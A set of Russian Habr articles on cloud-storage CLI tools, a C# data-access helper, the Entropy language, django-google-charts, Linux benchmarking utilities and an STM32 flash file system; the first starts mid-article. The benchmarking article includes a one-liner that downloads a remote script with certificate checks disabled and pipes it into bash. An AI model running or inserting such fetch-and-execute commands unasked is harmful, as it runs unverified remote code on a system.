Ставится так:
Качаем архив (у меня Debian x64):
`wget megatools.megous.com/builds/megatools-1.9.91-debian-wheezy-amd64.tar.gz`
распаковываем. Если распаковать в корень системы, то все бинарники и либы раскидаются куда надо.
Теперь посмотрим информацию по хранилищу:
`megadf -h -u mister-blister@pochta.com -p moyparol1123`
Выведет что-то типа:
`Total: 50,0 ГиБ
Used: 0 байт
Free: 50,0 ГиБ`
Если в консоль сыпятся варнинги типа:
`«dbus-launch --autolaunch=174196e0fb6ad20eef21a078520f2e6b --binary-syntax --close-stderr» завершилось ненулевым кодом завершения 1: Autolaunch error: X11 initialization failed.\n`
То команду можно выполнить так:
`dbus-launch megadf -h -u mister-blister@pochta.com -p moyparol1123`
Для просмотра списка файлов есть команда:
`megals -h -u mister-blister@pochta.com -p moyparol1123`
Если мы хотим загрузить в облако файлы из папки "/root/mytest", то делаем это так:
`megaput /root/mytest/* -u mister-blister@pochta.com -p moyparol1123`
Ещё можно, например, создать папку в хранилище:
`megamkdir /Root/mytest -u mister-blister@pochta.com -p moyparol1123`
(обратите внимание, путь к удалённой папке пишется полностью)
а потом синхронизировать на неё содержимое какой-нибудь нашей локальной папки:
`megasync --local /root/mytest/ --remote /Root/mytest -u mister-blister@pochta.com -p moyparol1123`
Полный перечень команд и примеры их использования есть в официальном man или по адресу: <http://megatools.megous.com/man/megatools.html>
Там же можно прочитать как автоматизировать ввод пароля и логина (используется специальный rc-файл)
Кстати, когда работала команда *megaput* или *megasync* с загрузкой файлов в облако, нагрузка на CPU моего сервера (Intel® Atom(TM) CPU D525) составляла **1,3-2,0%**. Для сравнения, *Yandex.Disk* в таких же условиях на синхронизации занимает **1,7%**, но с проседанием до **200%+** при инициализации (видимо, когда строит список не синхронизированных данных). Так же периодически, когда все директории уже «Up to date», Yandex.Disk делает периодический check и это занимает **1-2%** CPU, но правда, совсем кратковременно. К чести продукта от Яндекса хочу добавить, что скорость работы/загрузки всё же реально впечатляет (нет накладных затрат по движению трафика, т.к. ДЦ находится на территории России)
Как я писал выше, для мобильных устройств есть приложения. Я смог протестировать только на своём боевом Android (старый IPhone-3 доставать из дальнего ящика было откровенно лениво)
Клиент для Android выглядит так:
Нареканий по работе нет, всё ровно и чётко (и достаточно быстро)
Теперь посмотрим другое хранилище.
**COPY.COM**
URL: <https://copy.com> (раньше тут была реферальная ссылка, но модераторы меня за неё наказали)
Ещё один зарубежный сервис.
При регистрации сразу дают бесплатно **15Gb**. Если вы регистрировались по реферальной ссылке, то Вам дадут ещё **+5Gb** бесплатно и навсегда, но при условии, что Вы установите приложение для работы с этим сервисом (сразу после установки приложение можно и удалить :-) если ничего лишнего ставить не любите).
После авторизации в личном кабинете можно создать свою реферальную ссылку и раздать её друзьям. За каждого приведённого друга дадут **+5Gb** Вам и **+5Gb** каждому другу **+2Гб** за рекламный твит. Мне кажется, очень гуманно. Теоретически таким образом объём хранилища можно увеличить на очень-очень много, на практике я смог увеличить своё хранилище на 15Gb, зарегистрировав по реферальной сслыке на свои альтернативные почтовые ящики 3 новых аккаунта (делать ещё больше «левых» аккаунтов просто надоело)
К этому сервису есть клиентские приложения: Windows, Mac, Android, iOS и, самое главное, Linux (консольный и qt).
В Debian 7 работает хорошо, нареканий нет, синхронизирует налету. Приложение для Windows тоже работает без проблем, а вот приложение для Android у меня пару раз вылетало, но повторно запускалось. Android-приложение частенько обновляется, после последних апдейтов (на конец июня 2014 года) вылеты прекратились.
Вот так выглядит клиент на Android:
На Linux запускаем так.
Дёргаем архив с приложением:
`wget copy.com/install/linux/Copy.tgz`
Распаковываем
Переходим в директорию распакованного архива, внутри есть директории:
`armv6h/
x86/
x86_64/`
в которых лежит дистрибутив под 32-, 64-разрядные ОС и под ARM.
Заходим в нужную директорию и выполняем команду:
`./CopyConsole -u=mister-blister@pochta.com -r=/root/copycom/ -p=moyparol1123`
где, после ключа **-u** пишется логин (он же e-mail), после ключа **-p** — пароль, а после **-r** — директория, которую нужно синхронизировать с «облаком».
После запуска на консоль полезет что-то типа этого:
`User from cmdline mister-blister@pochta.com
Root from cmdline /root/copycom
Password from cmdline
Starting copy...success
Logged in as user: 'mister-blister@pochta.com' Copy folder is: '/root/copycom'
All files up to date`
В состоянии «All files up to date» процесс на моём сервере (Intel® Atom(TM) CPU D525) занимал **0.3-1%** CPU.
При загрузке файла в облако нагрузка «гуляла» от 1,7% до 5%, но в основном держалась в интервале **1,7-3%**
**Краткое резюме**
Если много места Вам не нужно, то вполне подойдёт Yandex.Disk. С приложениями под Linux и смартфоны там всё нормально, да и скорость загрузки хорошая.
Если Вы такой же ~~голодранец~~, ~~жадина~~ экономный инженер как я, который не может позволить себе купить объёмное хранилище для своих бекапов/фоток с котиками, то подойдёт Mega или Copy.
Mega бесплатно даст Вам фиксированный объём диска, а Copy за счет реферальной системы позволит наращивать его бесконечно.
Мой выбор — <https://copy.com>. Тут можно много всего хранить, а со смартфона всегда можно обратиться к сохранённым данным.
Всем спасибо за внимание. | https://habr.com/ru/post/224961/ | null | ru | null |
# А Вы как представляете себе Product?
Данные, данные, данные… Постоянно приходится с ними работать и, конечно же, хотелось бы иметь для этого максимально комфортные условия.
Предположим есть у нас табличка в базе данных:
Product: id int — первичный ключ, name varchar(256), description text, is\_visible bit.
Хотелось бы послушать Ваши мнения, как вы будете работать с данными, которые в ней хранятся. Предположим нужно вывести список продуктов (Уж поскольку я преимущественно работаю с Asp.net) на web-странице.
Но для начала я расскажу свой вариант и, надеюсь, он кому-нибудь да и пригодится.
Предположим, что данные из базы мы считали, но нужно их где-то хранить. Определённо сдесь следует использовать некий класс:
> `1. public class Product
> 2. {
> 3. private Product(int id, string name, string description, bool isActive)
> 4. {
> 5. ID = id;
> 6. Name = name;
> 7. Description = description;
> 8. IsActive = isActive;
> 9. }
> 10.
> 11. int ID { get; private set; }
> 12. string Name { get; set; }
> 13. string Description { get; set; }
> 14. bool IsActive { get; set; }
> 15. }`
Итак, есть класс, объекты которого будут ассоциироваться с записями в таблице Products, но нету возможности как-либо получить объекты, содержащие реальные данные.
Не проблемма, добавим статический метод, который будет возвращать, к примеру, все записи из таблицы:
> `1. public static List GetAll()
> 2. {
> 3. //тут выполняются некоторые действия
> 4. }`
Так уж получилось, что я предпочёл использвать в качестве коллекции List. Но что делает даный метод?
Вариантов очень много. Самый очевидный — подключается к базе данных, выполняет запрос или хранимую процедуру, а затем помещает данные в коллекцию. Это не очень хороший способ. Вполне возможно, что придётся написать аналогичные методы, получающие только видимые элементы или элементы с непустым описанием.
Для каждого метода будем писать код подключения к базе данных? Конечно нет, просто скопируем, потом не заметим пары нюансов, а потом, думаю вы уже догадались…
Когда 10 месяцев назад я устроился работать программистом, то мне пришлось работать с уже готовым движком интернет магазина. Там методы получения коллекции объектов выглядели примерно так:
> `1. public static ProductsCollection GetAll()
> 2. {
> 3. //Получаем таблицу
> 4. DataTable table = DBClass.GetTable(query, parameters);
> 5. //Проходим по всей таблице, занося данные в коллекцию
> 6. foreach(DataRow row in table.Rows)
> 7. {
> 8. result.Add(GetProductFromRow(row));
> 9. }
> 10. return result;
> 11. }`
Сам метод GetAll не подключается в базе данных, это делает метод GetTable, нам остаётся лишь пройтись по таблице, перенося данные в коллекцию.
Удобно, не правдали? К сожалению нет, вернее удобно, но не так удобно, как хотелось бы.
Во-первых, происходит двойное копирование данных (БД => DataTable => Коллекция), во-вторых проход по таблице также придётся писать в каждом аналогичном методе, что является довольно рутиным занятием.
Чего бы хотелось? Примерно следующего:
> `1. public static List GetAll()
> 2. {
> 3. return result;
> 4. }`
И это вполне возможно. Просто нужен универсальный метод получения коллекции объектов.
Поскольку в зависимости от объектов, с которыми этот метод будет работать, результатом будет коллекция именно объектов этого класса, то метод должен быть обобщенным.
Что нужно передавать методу? Во-первых комманду и её тип (sql-запрос или название хп), во-вторых, параметры. Ну и в-третьих, поскольку метод должен знать, как создавать объекты, некий делегат, который будет создавть объект.
Вот что у меня получилось:
> `1. // Сообщение о последней возникшей ошибке
> 2. public static string Error { get; private set; }
> 3. // Строка подключения к базе данных
> 4. private static readonly string connectionString = "..."
> 5. // Первоначальный размер коллкции при получении нескольких объектов
> 6. private const int itemsCount = 30;
> 7. //Ну и сам метод
> 8. public static List GetList(string commandText, CommandType commandType, DataReaderConstructor dataReaderConstructor, params SqlParameter[] sqlParameters)
> 9. where T : class
> 10. {
> 11. try
> 12. {
> 13. using (var connection = new SqlConnection(connectionString))
> 14. {
> 15. var command = new SqlCommand(commandText, connection) { CommandType = commandType };
> 16. if (sqlParameters != null) command.Parameters.AddRange(sqlParameters);
> 17. connection.Open();
> 18. using (var reader = command.ExecuteReader())
> 19. {
> 20. if (reader == null) return null;
> 21. var result = new List(itemsCount);
> 22. while (reader.Read())
> 23. {
> 24. result.Add(dataReaderConstructor(reader));
> 25. }
> 26. return result;
> 27. }
> 28. }
> 29. }
> 30. catch (Exception exeption)
> 31. {
> 32. Error = exeption.Message;
> 33. return null;
> 34. }
> 35. }`
Всё это находится в неком классе DBClass, за исключением объявления самого делегата, которое находится где-то неподалёку:
> `1. public delegate T DataReaderConstructor(IDataReader reader);`
Теперь список продуктов можно достаточно просто получить скажем так:
> `1. public static List GetAll()
> 2. {
> 3. return DBClass.GetList("SGetProducts", CommandType.StoredProcedure, Constructor)
> 4. }`
Перед этим объявив в классе Product метод:
> `1. private static Product Constructor(IDataReader reader)
> 2. {
> 3. return new Product((int)reader[0], (string)reader[1], (string)reader[2], (bool)reader[3]);
> 4. }`
Но в начале статьи я поставил задачу отобразить список продуктов, а в неём, возможно, не используется описание, только ID и название.
Создать новый класс, где не будет описания по аналогии? Зачем? Ведь у нас есть анонимные типы и мы можем получить коллекцию идентификаторов и названий видимых продуктов используя анонимные типы:
> `1. const string query = "Select ID, Name from Product where is\_visible";
> 2. var products = DBClass.GetList(query, CommandType.Text,
> 3. reader => new
> 4. {
> 5. ID = (int) reader[0],
> 6. Name = (string) reader[1]
> 7. });
> \* This source code was highlighted with Source Code Highlighter.`
Ну, собственно, вот это мой вариант. Жду критику, советы, предложения, ну и ещё немного критики.
Как Вы предпочитаете работать с данными? | https://habr.com/ru/post/42215/ | null | ru | null |
# Entropy — Неточный язык программирования
 В комментариях к недавнему посту про [неточный процессор](http://habrahabr.ru/post/144144/#comment_4836943), хабраюзер [lol2Fast4U](http://habrahabr.ru/users/lol2fast4u/) привел ссылку на интересный язык программирования — [Entropy](http://esolangs.org/wiki/Entropy).
Суть этого языка в том, что в нем отсутствует детерминированность.
Каждый раз, когда мы обращаемся к каким-либо данным, они искажаются все больше и больше.
Казалось бы, смысл создания этого языка — весьма сомнителен. Но на деле, этот подход может быть полезным для эмуляции как раз тех самых неточных процессоров, о которых идет речь в вышеуказанном посте.
Сами понимаете, что подход к программированию в такой среде должен быть принципиально иным.
Язык имеет всего несколько типов данных — **real** (число), **char** (символ) и **string** (массив чаров).
Cтандартый «Hello World» будет выглядеть так:
```
Program MyNamespace MyProgram [
print "Hello, World";
]
```
Но результат выводы может быть:
```
Hello+ World
```
или
```
Hellp, World
```
Как демонстрация постепенного разрушения данных, можно привести пример, где в цикле «выпивается» одна бутылка пива:
```
Program Rottytooth NinetyNineBottles [
declare count real;
let count = 99;
while count > 0
[
if count < 99
[
print count;
print " bottles of beer on the wall.\n";
]
print count;
print " bottles of beer on the wall, ";
print count;
print " bottles of beer.\nTake one down, pass it around, ";
let count = count - 1;
]
print " no more bottles of beer on the wall.";
]
```
Как результат, сначала вывод выглядит так:
```
98.99005 bottles of beer on the wall, 98.86667 bottles of beer.
Take one down, pass it around, 98.46358 bottles of beer on the wall.
98.39877 boutles of bedr nn the wall, 98.42226 bottles of beer.
Take one down, pass it around, 97.4903 bottles of beer on the wall.
97.52608 boutles of bedr nn the wall, 97.45941 bottles of beer.
Take one down, pass it around, 96.44245 bottles of beer on the wall.
96.4431 boutles of bedr nn the walj, 96.46104 bottles of beer.
```
Потом так:
```
66.13296 bptumfu og!bedq▼no sif xali*▼66.10684!alttlfs of bgerTake omf down+ pas
s!it aroune, 65.0071 bnstles of bedr pm▼the waml/
65.02724 bpttmfu of!bedq▼no sif xali*65.00817!alttlfs of bgerTake omf dowm+ pas
r!it aroune, 64.02435 bnstles of bedr pm▼the waml/
```
А потом приходит к чему-то нечитаемому:
```
6804 ekttjes og!bdes qmvhf zbnl0♀13.03909 cnutlew!mi!afeq qp▼sie w`lk+←13.03666
amttmfv▼qg!bhfrUbkd omc!dpwn-!patv"gv!crswnf. 11.99166 ektsjes og!bdes qmvhf z
anm0♀12.01574▼cnutlew!ni!afeq qp▼sie w`lk+←11.9922 amttmfv▼qg!bhfrUbkd okc!dpwn-
!patv"gv!crswmf. 11.17373 ektsjes og!bdes qmvhf zanm0♀11.18238▼cnutlew!ni!afeq
qp▼sie w`lk+←11.27068 amttmfv▼qg!bhfrUbkd okc!dpwn-!patv"gv!crswmf. 10.02247 ekt
sjes og!bdes qmvhf zaom0♀10.22528 cnutlew!ni!afeq qp▼sie w`lk+←10
```
На данном примере хорошо видно, как данные постепенно разрушаются. И, следовательно, программисту нужно думать о том, чтобы обращаться к данным как можно меньше.
Не знаю уж, насколько это близко к тому, что происходит в вышеупомянутом неточном процессоре, но суть — ясна. А также эта иллюстрация проясняет вообще принципы неточного программирования. А то, судя по комментам к предыдущему посту, — многие вообще не представляют, как процессор может быть недетерминированно неточным.
Как бонус, можно поиграться с чат-ботом написанном на Entropy: [Drunk Eliza](http://danieltemkin.com/DrunkEliza/). | https://habr.com/ru/post/144300/ | null | ru | null |
# Рисуем графики (диаграммы) в Django
Многие веб-разработчики время от времени сталкиваются с необходимостью визуализировать сравнительно большое количество данных при помощи диаграмм (далее я буду называть их графиками, хоть это и не совсем верно). Задача не нова, и в сети есть множество готовых решений: работающие на стороне сервера и на стороне клиента, использующие изображения, Canvas, SVG, Flash, Silverlight…
В этой статье я расскажу про [django-google-charts](http://publishedin.com/django-google-charts/) и некоторые особенности использования [Google Chart Tools](http://code.google.com/apis/chart/) для построения графиков на сайте под управлением Django.
Часто, когда нужно добавить график на страницу, разработчик идет по пути наименьшего сопротивления: копирует JavaScript из примера в интернете и как-нибудь выводит в него данные из приложения. Получается что-то наподобие:
```
var chart_data = [
{% for row in chart_data %}
[{{ row.0 }}, {{ row.1 }}],
{% endfor %}
];
```
#### Почему это плохо?
* Код тяжело читается, вследствие чего легко допустить ошибку. Вы же заметили ошибку в моем примере? :)
* Сложно масштабировать. Когда нужно добавить второй график на страницу, обычно копируют этот же кусок кода еще раз и меняют имена переменных. В результате получается нечитаемая каша, отлаживать это и вносить изменения достаточно неприятно.
* Сильное связывание с контекстом. Повторное использование такого шаблона ограничено.
Для временного решения такая конструкция еще годится, но не более.
#### Постановка задачи
Хорошее решение для рисования графиков:1. Позволяет просто и понятно добавлять новые графики на сайт и убирать ненужные;
2. Соблюдает принцип DRY для определения общих элементов (например, цветовой схемы);
3. Можно повторно использовать;
4. Не изобретает нового API.
#### Вариант решения
Приложение для компоновки графиков django-google-charts выросло из небольшого набора хаков в моем текущем проекте. Алярма: это первый публичный релиз, возможны причудливые баги. Исправления и замечания всячески приветствуются.
##### Установка
```
$ pip install django-google-charts
# или
$ easy_install django-google-charts
```
Добавляем `'googlecharts'` в `INSTALLED_APPS`.
##### Как это работает (общий вид)
```
{% load googlecharts %}
{% googlecharts %}
{% data переменная "необязательное имя" %} {# (именованный) набор данных #}
{% col "тип" "название" %}...{% endcol %} {# формат #}
{% col "тип" "название" %}...{% endcol %} {# еще формат #}
...
{% enddata %}
{% options "необязательное имя" %} {# (именованный) набор опций #}
...
{% endoptions %}
{% graph "#id" "данные" "опции" %} {# точка сборки #}
{% endgooglecharts %}
```
Расскажу немного про назначение каждого тега.
##### `{% googlecharts %}...{% endgooglecharts %}`
Подключает необходимые скрипты, является контейнером для всей конструкции. Ничего интересного.
##### `{% data переменная "имя" %}...{% enddata %}`
Именованный набор данных. Имя можно не указывать (получится `"default"`).
##### `{% col "тип" "название" %}...{% endcol %}`
Формат. Типы данных в Google Visualization API вот такие:
```
'string' 'number' 'boolean' 'date' 'datetime' 'timeofday'
```
Подробнее можно почитать в [документации](http://code.google.com/apis/chart/interactive/docs/reference.html).
Внутрь тега передается специальная переменная `val`, в этом месте ее можно форматировать:
```
{% col "string" "Date" %}'{{ val|date:"M j" }}'{% endcol %}
{# или, например #}
{% col "number" %}{{ val|floatformat:2 }}{% endcol %}
```
Результат должен соответствовать заявленному типу; кавычки вокруг строки сами не поставятся.
**Пример.** Допустим, в блок `{% data %}` мы передали такую переменную контекста:
```
[['foo', 32], ['bar', 64], ['baz', 96]]
```
Нам нужны два тега `{% col %}`, по количеству элементов в строке входных данных. Первый получит на вход 'foo', 'bar' и 'baz'; второй, соответственно, 32, 64 и 96. Реализация (самая простая) может выглядеть так:
```
{% col "string" "Name" %}"{{ val }}"{% endcol %}
{% col "number" "Value" %}{{ val }}{% endcol %}
```
##### `{% options "имя" %}...{% endoptions %}`
Параметры графика.
```
{% options %}
kind: "LineChart",
options: {
width: 300,
height: 240
// ...
}
{% endoptions %}
```
Внутри тега объект JavaScript, можно использовать глобальные переменные и вызывать функции. Типы графиков и поддерживаемые опции для каждого типа перечислены [вот здесь](http://code.google.com/apis/chart/interactive/docs/gallery.html).
##### `{% graph "id_элемента" "данные" "опции" %}`
Выводим график в элемент на странице. Последние два параметра можно не указывать, получится `"default" "default"`.
#### Пример использования
Предположим, у нас есть такая модель:
```
class Payment(models.Model):
amount = models.DecimalField(max_digits=11, decimal_places=4)
datetime = models.DateTimeField()
```
Для подготовки данных к отображению в виде графика можно использовать [django-qsstats-magic](https://bitbucket.org/kmike/django-qsstats-magic).
```
from qsstats import QuerySetStats
def view_func(request):
start_date = ...
end_date = ...
queryset = Payment.objects.all()
# считаем количество платежей...
qsstats = QuerySetStats(queryset, date_field='datetime', aggregate=Count('id'))
# ...в день за указанный период
values = qsstats.time_series(start_date, end_date, interval='days')
return render_to_response('template.html', {'values': values})
```
Метод `time_series` возвращает данные в таком виде:
```
[[date, value], [date, value], ...]
```
В файле template.html:
```
{% load googlecharts %}
{% googlecharts %}
{% data values "count" %}
{% col "string" "Date" %}"{{ val|date:"M j" }}"{% endcol %}
{% col "number" "# of payments" %}{{ val }}{% endcol %}
{% enddata %}
{% options %}
kind: "LineChart",
options: {
backgroundColor: "#f9f9f9",
colors: ["#09f"],
gridlineColor: "#ddd",
legend: "none",
vAxis: {minValue: 0},
chartArea: {left: 40, top: 20, width: 240, height: 180},
width: 300,
height: 240
}
{% endoptions %}
{% graph "count_graph" "count" %} {# используем опции по умолчанию #}
{% endgooglecharts %}
```
##### Масштабирование
Теперь, чтобы добавить еще один график на страницу, нужно сделать следующее:
– Собрать данные (views.py):
```
# сумма всех платежей в день за указанный период
summary = qsstats.time_series(start_date, end_date, interval='days', aggregate=Sum('amount'))
return render_to_response('template.html', {'values': values, 'summary': summary})
```
– Добавить в template.html:
```
...
{% data summary "sum" %}
{% col "string" "Date" %}"{{ val|date:"M j" }}"{% endcol %}
{% col "number" "Paid amount, USD" %}{{ val|floatformat:2 }}{% endcol %}
{% enddata %}
...
{% graph "count_sum" "sum" %} {# используем опции по умолчанию, снова #}
```
#### GitHub
[Исходный код django-google-charts](https://github.com/mvasilkov/django-google-charts) содержит также демонстрационный проект. Чтобы его запустить, достаточно выполнить:
```
$ python manage.py syncdb --noinput # создает базу данных sqlite в /tmp
$ python manage.py populatedb # наполняет ее случайными данными
$ python manage.py runserver
```
Выглядит тестовый проект вот так:
[](https://s3.amazonaws.com/files_desu/django-google-charts.png)
#### Ограничения первого публичного релиза (ложка дегтя)
1. Только один тег `{% googlecharts %}` на странице;
2. (Почти) нет проверки ошибок, особенно в JavaScript;
3. Исчезающе мало документации.
Спасибо всем, кто дочитал. А как *вы* рисуете графики? | https://habr.com/ru/post/126704/ | null | ru | null |
# Как оценить производительность Linux-сервера: открытые инструменты для бенчмаркинга
Мы в [1cloud.ru](https://1cloud.ru?utm_source=habrahabr&utm_medium=cpm&utm_campaign=bench3&utm_content=site) подготовили подборку инструментов и скриптов для оценки производительности процессоров, СХД и памяти на Linux-машинах: Iometer, DD, vpsbench, HammerDB и 7-Zip.
Другие наши подборки с бенчмарками:
* [Sysbench, UnixBench, Phoronix Test Suite, Vdbench и IOzone](https://habr.com/ru/company/1cloud/blog/455834/)
* [Interbench, Fio, Hdparm, S и Bonnie](https://habr.com/ru/company/1cloud/blog/458204/)
[](https://habr.com/ru/company/1cloud/blog/462777/)
*Фото — [Bureau of Land Management Alaska](https://www.flickr.com/photos/blmalaska/40936624583/) — CC BY*
---
[Iometer](http://www.iometer.org/)
----------------------------------
Это — бенчмарк для оценки производительности дисковой и сетевой подсистем. Подходит для работы как с одним сервером, так и целым кластером. Iometer представили инженеры Intel в 1998 году. В 2001-м корпорация передала исходники некоммерческой организации Open Source Development Labs ([OSDL](https://en.wikipedia.org/wiki/Open_Source_Development_Labs)) по лицензии [Intel Open Source License](http://www.iometer.org/doc/licenses/iosl.txt). С 2003 года поддержкой инструмента занимается группа энтузиастов — проект [зарегистрирован](https://sourceforge.net/projects/iometer/) на SourceForge.net.
Iometer состоит из генератора нагрузки dynamo и графического интерфейса. Правда, последний доступен только под Windows. Что касается генератора, то он позволяет имитировать нагрузку сторонних приложений — для этого создаются специальные тестовые шаблоны.
> Бенчмарки показывают: пропускную способность, операции в секунду, латентность и загрузку процессора. Вычисляются не только средние значения величин, но и мин/макс.
Несмотря на то что последняя стабильная версия инструмента вышла в 2014 году, его до сих пор используют в [Broadcom](https://www.broadcom.com/support/knowledgebase/1211161498486/using-iometer---general-tips-for-testing-cachecade) и [Dell](https://www.dell.com/support/article/us/en/19/how10228/how-to-test-performance-on-poweredge-servers-with-iometer). Однако возраст системы все же сказывается. Во-первых, её интерфейс [устарел](http://www.iometer.org/doc/screenshots.html) и не менялся с 1998 года. Во-вторых, инструмент порой выводит не совсем адекватные результаты на массивах all-flash.
---
[vpsbench](https://github.com/mgutz/vpsbench)
---------------------------------------------
Простой скрипт для оценки производительности VPS. Распространяется по [лицензии MIT](https://github.com/mgutz/vpsbench/blob/master/LICENSE). Вот пример его работы, приведенный в официальном репозитории на GitHub:
```
$ bash <(wget --no-check-certificate -O - https://raw.github.com/mgutz/vpsbench/master/vpsbench)
CPU model: Intel(R) Core(TM) i7-3770 CPU @ 3.40GHz
Number of cores: 4
CPU frequency: 3417.879 MHz
Total amount of RAM: 3265 MB
Total amount of swap: 1021 MB
System uptime: 8:41,
I/O speed: 427 MB/s
Bzip 25MB: 4.66s
Download 100MB file: 1.64MB/s
```
Утилита отображает количество ядер, частоту процессора, объемы задействованной памяти. Для оценки производительности дисков vpsbench [выполняет](https://www.lowendtalk.com/discussion/144821/new-vps-specific-benchmark-update-download-avail) последовательное и произвольное чтение/запись. Несмотря на то что утилита довольно старая (обновление на GitHub сделано около четырех лет назад) ее [использует](https://github.com/mgutz/vpsbench/wiki/VPS-Hosts) множество облачных провайдеров и ИТ-компаний.
---
[HammerDB](https://www.hammerdb.com/)
-------------------------------------
Один из самых популярных [открытых](https://github.com/TPC-Council/HammerDB) бенчмарков для нагрузочного тестирования баз данных. Поддержкой инструмента занимается некоммерческая организация [TPC](http://www.tpc.org/) — Transaction Processing Performance Council. Её цель — разработка стандартов для БД-бенчмарков.
HammerDB создает тестовую схему БД, наполняет её данными и симулирует нагрузку нескольких виртуальных пользователей. Нагрузкой могут служить как транзакционные, так и аналитические операции. Поддерживает: Oracle Database, SQL Server, IBM Db2, MySQL, MariaDB, PostgreSQL и Redis.
Вокруг HammerDB сформировалось обширное комьюнити. Утилиту используют компании из 180 стран мира. Среди них: [Intel](https://builders.intel.com/docs/select-solutions-hardened-security-with-lockheed-martin.pdf), [Dell](https://www.dellemc.com/en-us/collaterals/unauth/white-papers/products/converged-infrastructure/vxflex_overview_whitepaper.pdf), [Lenovo](https://www.crn.com/news/data-center/video/lenovo-on-why-its-software-defined-business-is-experiencing-triple-digit-growth), [Red Hat](https://www.redhat.com/en/blog/red-hat-enterprise-linux-8-improves-performance-modern-workloads) и многие [другие](https://www.hammerdb.com/benchmarks.html). Если вы хотите изучить возможности утилиты самостоятельно — можете начать с [официальных гайдов](https://www.hammerdb.com/document.html).
---
*Фото — [lost places](https://www.flickr.com/photos/places_lost/33144378635) — CC BY*
---
[7-Zip](https://sevenzip.osdn.jp/chm/cmdline/commands/bench.htm)
----------------------------------------------------------------
Этот архиватор имеет встроенный бенчмарк для тестирования скорости процессоров при сжатии определенного количества файлов. Также он подойдет для проверки RAM на ошибки. Для тестов используется алгоритм [LZMA](https://ru.wikipedia.org/wiki/LZMA) (Lempel–Ziv–Markov chain Algorithm). Он основан на схеме [сжатия данных по словарю](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D1%81%D0%B6%D0%B0%D1%82%D0%B8%D1%8F_%D1%81_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%D0%BC_%D1%81%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8F). Например, чтобы запустить бенчмарк с одним потоком и 64-мегабайтным словарем достаточно прописать команду:
```
7z b -mmt1 -md26
```
Результат программа предоставит в формате MIPS (million instructions per second), что можно назвать недостатком. Этот параметр подходит для сравнения быстродействия процессоров одинаковой архитектуры, но в случае с различающимися архитектурами его применимость ограничена.
---
[DD](https://en.wikipedia.org/wiki/Dd_(Unix))
---------------------------------------------
Инструмент командной строки, конвертирующий и копирующий файлы. Но его можно использовать для проведения простых I/O-тестов на СХД. Из коробки запускается практически на любой системе GNU/Linux.
На wiki-страничке [приведена](https://en.wikipedia.org/wiki/Dd_(Unix)#Benchmarking_drive_performance) команда для оценки производительности диска при последовательной записи 1024-байтных блоков:
```
dd if=/dev/zero bs=1024 count=1000000 of=file_1GB
dd if=file_1GB of=/dev/null bs=1024
```
Также стоит отметить, что DD [можно использовать](https://romanrm.net/dd-benchmark) в качестве простого CPU-бенчмарка. Правда, для этого понадобится дополнительная программа, требующая ресурсоемких вычислений. Например, утилита для расчета значений хеш-сумм [md5sum](https://ru.wikipedia.org/wiki/Md5sum).
```
dd if=/dev/zero bs=1M count=1024 | md5sum
```
Команда выше покажет, насколько быстро (Мбайт/с) система обработает длинную числовую последовательность. Хотя эксперты говорят, что эта команда подойдет лишь для грубой оценки производительности. Также важно помнить, что DD позволяет производить низкоуровневые операции на жёстких дисках. Поэтому работать с утилитой нужно осторожно, чтобы не потерять часть данных (название DD иногда в шутку расшифровывают, как disk destroyer).
---
> **О чем мы пишем в наших блогах и социальных сетях:**
>
>
>
>  [Исследование: Linux — все еще самая популярная ОС в облаке](https://habr.com/ru/company/1cloud/blog/459994/)
>
>  [В Open Invention Network больше трех тысяч лицензиатов — что это значит для открытого ПО](https://habr.com/ru/company/1cloud/blog/459628/)
>
>
>
>  [Как обезопасить Linux-систему: 10 советов](https://1cloud.ru/blog/linux-server-security-advices?utm_source=habrahabr&utm_medium=cpm&utm_campaign=bench3&utm_content=blog)
>
>  [Минимизация рисков: как не потерять ваши данные](https://1cloud.ru/blog/minimizazia-it-riskov?utm_source=habrahabr&utm_medium=cpm&utm_campaign=bench3&utm_content=blog)
>
>
>
>  [Книги для тех, кто уже занимается системным администрированием или только планирует начать](https://www.facebook.com/1cloudru/photos/a.1526614574327724/2382871935368646)
>
>  [Необычные доменные зоны для вашего проекта](https://www.facebook.com/1cloudru/photos/a.1526614574327724/2372990136356826) | https://habr.com/ru/post/462777/ | null | ru | null |
# Открытый проект файловой системы для внутренней памяти STM32H
Зачем ставить внешнюю IC памяти или SD карту если в микроконтроллере осталось много свободной Flash памяти!
Микроконтроллеры семейства STM32H снабжены двумя независимыми банками Flash памяти и это очень удобно. В одном банке можно расположить программный код, а в другом временные перезаписываемые данные.
Как сделать из внутренней Flash подобие EEPROM сравнительно неплохо написано в [этом апноуте](https://www.st.com/resource/en/application_note/an3969-eeprom-emulation-in-stm32f40xstm32f41x-microcontrollers-stmicroelectronics.pdf) от ST. Но с некоторого уровня комплексности встроенного ПО хранить данные в именованных файлах удобнее чем в жёстких структурах. Файлы упрощают реюзинг, облегчают поддержку преемственности версий, апгрейды и даунгрейды. Файлы освобождают от хлопот с планированием размещения во флэш и разруливанием конфликтов размещения, особенно если приложение модульное и модули разрабатываются отдельно.
В такой файловой системе можно хранить разные версии наборов параметров устройства, сертификаты и ключи к разным облачным сервисам, диагностические или аварийные дампы, временные файлы при распаковке, стандартные ресурсы, такие как шрифты и пиктограммы для HMI или скрипты и стили WEB страниц и проч.
Здесь представлена линейная файловая система относящаяся к классу журналируемых. Такие файловые системы известны давно. Быстротой они не блещут, потому эффективны на сравнительно небольших объемах памяти. Но им присуще крайне малая потребность в ОЗУ, малый размер кода и сравнительная простота. При этом по своей природе линейные файловые системы обеспечивают равномерный износ Flash и им не нужен дополнительный программный слой FTL, как например для FAT на базе NAND.
